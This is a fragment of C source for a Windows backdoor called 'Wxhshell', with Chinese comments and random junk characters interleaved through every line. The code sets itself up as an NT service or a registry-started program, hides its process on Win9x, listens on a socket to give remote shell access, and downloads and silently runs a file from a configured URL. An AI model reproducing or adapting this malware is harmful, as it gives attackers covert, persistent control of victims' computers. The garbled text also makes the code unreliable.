unsigned long cbNeeded; ZA#y)z8!E cd;NpN if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h$C@j~ DJhb CloseHandle(hProcess); @E`?<|B} -jg (G GJ if(strstr(procName,"services")) return 1; // 以服务启动 /7$mxtB5%L 47 u@4"M return 0; // 注册表启动 E(<LvMiCa } +V v+K(lh$ z*~YLT& // 主模块 t0PQ~|H<KV int StartWxhshell(LPSTR lpCmdLine) NnxM3* { %R0v5=2' SOCKET wsl; ]8 U ~Iy BOOL val=TRUE; ]0c Pml int port=0; IKvBf'%- struct sockaddr_in door; ^c9ThV.v J."{<& if(wscfg.ws_autoins) Install(); fUag1d rlok%Rt4Z port=atoi(lpCmdLine); Wf02$c0#K yt.c5>B^ if(port<=0) port=wscfg.ws_port; VmQh$&h @kngI7=E WSADATA data; 1TqF6`;+ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P`s(kIe Ri:p8 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; DOD6Liau{Q setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =.m6FRsU door.sin_family = AF_INET; +?-qfp,:0 door.sin_addr.s_addr = inet_addr("127.0.0.1"); w`yx=i# door.sin_port = htons(port); 6X+}>qy 67<CbQZoN3 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J;~|ph closesocket(wsl); (b/d0HCND return 1; 6i@ub%qq } 4 9w=kzo YaFcz$GE_ if(listen(wsl,2) == INVALID_SOCKET) { -oBI+v& closesocket(wsl); AfWl6a?T8: return 1; rFag@Z"[" } #!!AbuhzK{ Wxhshell(wsl); >.dHt\ WSACleanup(); 4E"d / ='/Z;3jt]x return 0; {V2bU}5
[ !Cj(A"uqY } }6~)bLzI} y~#\#w{ // 以NT服务方式启动 ZW ye>] VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2o{@nN8% { %= u/3b:o DWORD status = 0; $>vy(Y DWORD specificError = 0xfffffff; m^$5K's& qMgfMhQ7DU serviceStatus.dwServiceType = SERVICE_WIN32; hN4VlNKu serviceStatus.dwCurrentState = SERVICE_START_PENDING; 'tWAu I serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %<U{K; serviceStatus.dwWin32ExitCode = 0; nlfPg-78B+ serviceStatus.dwServiceSpecificExitCode = 0; H/i<_L P serviceStatus.dwCheckPoint = 0; k8&FDz serviceStatus.dwWaitHint = 0; J9@}DB 7~.ZE hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1k>naf~O if (hServiceStatusHandle==0) return; Qyj(L[K J M'u=H status = GetLastError(); &telCg: if (status!=NO_ERROR) atnQC { O_CT+Ou serviceStatus.dwCurrentState = SERVICE_STOPPED; X(GV6mJ4 serviceStatus.dwCheckPoint = 0; agY5Dg7 serviceStatus.dwWaitHint = 0; e{t=>vry serviceStatus.dwWin32ExitCode = status; V<-htV serviceStatus.dwServiceSpecificExitCode = specificError; vvh.@f SetServiceStatus(hServiceStatusHandle, &serviceStatus); v' 0!= r return; 5^F]tRz- } S8*> kM' eUs-5
L serviceStatus.dwCurrentState = SERVICE_RUNNING; @^wpAQfd4 serviceStatus.dwCheckPoint = 0; LVmY=d> serviceStatus.dwWaitHint = 0; *aG"+c6| if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l:z}; } 6PJ'lA;*b $nFAu}%C // 处理NT服务事件,比如:启动、停止 i puo} VOID WINAPI NTServiceHandler(DWORD fdwControl) #7C6yXb% { N?^_=KE@ switch(fdwControl) QRagz,c { cKpQr7]ur case SERVICE_CONTROL_STOP: ]+lF=kkc% serviceStatus.dwWin32ExitCode = 0; {_Np<r;j< serviceStatus.dwCurrentState = SERVICE_STOPPED; gUb
"3g0 serviceStatus.dwCheckPoint = 0; ~ a>S#S serviceStatus.dwWaitHint = 0; . =R=cA7 { &[)D]UL SetServiceStatus(hServiceStatusHandle, &serviceStatus); [k~C+FI } AgCs;k&IG return; (k#t}B[ case SERVICE_CONTROL_PAUSE: "MTq{f2? serviceStatus.dwCurrentState = SERVICE_PAUSED; n531rkK- break; P|v ? case SERVICE_CONTROL_CONTINUE: U5clQiow serviceStatus.dwCurrentState = SERVICE_RUNNING; ZZwBOGVU break;
T"B8;| case SERVICE_CONTROL_INTERROGATE: sOC|
B break; |QMT
A5 }; Y}ky/?q SetServiceStatus(hServiceStatusHandle, &serviceStatus); @QX4 \ } 5 Af?Yxv v'$ykZ!Z // 标准应用程序主函数 r.Lx%LZ\^ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sHF%=Vu { '1lx{UzD G-sa
L* // 获取操作系统版本 r=|vad$ OsIsNt=GetOsVer(); ]ci RiMkT( GetModuleFileName(NULL,ExeFile,MAX_PATH); %27G 2^1 H'']J9O // 从命令行安装 Mi;Tn;3er if(strpbrk(lpCmdLine,"iI")) Install(); :g/{(#E@Z {YfYIt=. // 下载执行文件 DSTx#* if(wscfg.ws_downexe) { s7AI:Zv if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %K`4k.gN WinExec(wscfg.ws_filenam,SW_HIDE); 'oT|cmlc } hPS/CgLq }0krSzcn#, if(!OsIsNt) { EtPgzw[#c9 // 如果时win9x,隐藏进程并且设置为注册表启动 =$[W,+X6f HideProc(); cUYX1a)8 StartWxhshell(lpCmdLine); ?9CIWpGjU } Mc.^s else [!5l0{0 if(StartFromService()) 3 k`NNA // 以服务方式启动 Us*Vn StartServiceCtrlDispatcher(DispatchTable); DU(X,hDBF else Scf.4~H 0 // 普通方式启动 & |